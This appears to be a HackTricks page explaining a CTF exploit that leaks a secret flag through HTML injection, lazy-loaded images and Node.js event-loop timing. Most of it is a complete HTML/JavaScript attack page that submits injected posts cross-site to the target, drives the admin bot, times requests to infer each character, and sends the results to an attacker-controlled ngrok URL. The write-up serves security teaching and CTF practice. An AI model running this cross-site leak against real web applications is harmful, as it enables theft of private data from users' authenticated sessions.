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160 lines
5.7 KiB
Markdown
160 lines
5.7 KiB
Markdown
# Event Loop Blocking + Lazy images
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{{#include ../../banners/hacktricks-training.md}}
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In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.
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This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
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{{#ref}}
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connection-pool-example.md
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{{#endref}}
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The idea behind this exploit is:
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- The posts are loaded alphabetically
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- An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
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- If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
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- Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**.
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- If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
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- If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
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Let's check the code:
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<!-- Inject post with payload -->
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<form
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id="f"
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action="http://localhost:1234/create"
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method="POST"
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target="_blank">
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<input id="inp" name="text" value="" />
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</form>
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<!-- Remove index -->
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<form
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id="f2"
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action="http://localhost:1234/remove"
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method="POST"
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target="_blank">
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<input id="inp2" name="index" value="" />
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</form>
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<script>
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let flag = "SEKAI{"
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const TARGET = "https://safelist.ctf.sekai.team"
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f.action = TARGET + "/create"
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f2.action = TARGET + "/remove"
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const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
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// Function to leak info to attacker
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const send = (data) => fetch("http://server.ngrok.io?d=" + data)
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const charset = "abcdefghijklmnopqrstuvwxyz".split("")
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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// I have omited code here as apparently it wasn't necesary
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// fallback to linerar since I am not familiar with binary search lol
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for (let i = R; i >= L; i--) {
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let c = charset[i]
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send("try_" + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send("found: " + flag + c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise((resolve) => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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// <canvas height="3350px"> is experimental and allow to show the injected
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// images when the post injected is the first one but to hide them when
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// the injected post is after the post with the flag
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inp.value =
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str +
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'<br><canvas height="3350px"></canvas><br>' +
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Array.from({ length: 20 })
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.map((_, i) => `<img loading=lazy src=/?${i}>`)
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.join("")
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// Open posts page 5 times
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for (let i = 1; i <= 5; i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30 //Lets time 30 requests
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setTimeout(async () => {
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// Send 30 requests and time each
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for (let i = 0; i < round; i++) {
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let s = performance.now()
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await fetch(TARGET + "/?test", {
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mode: "no-cors",
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}).catch((err) => 1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t / round
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// Send info about how much time it took
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = t >= 1000
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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{{#include ../../banners/hacktricks-training.md}}
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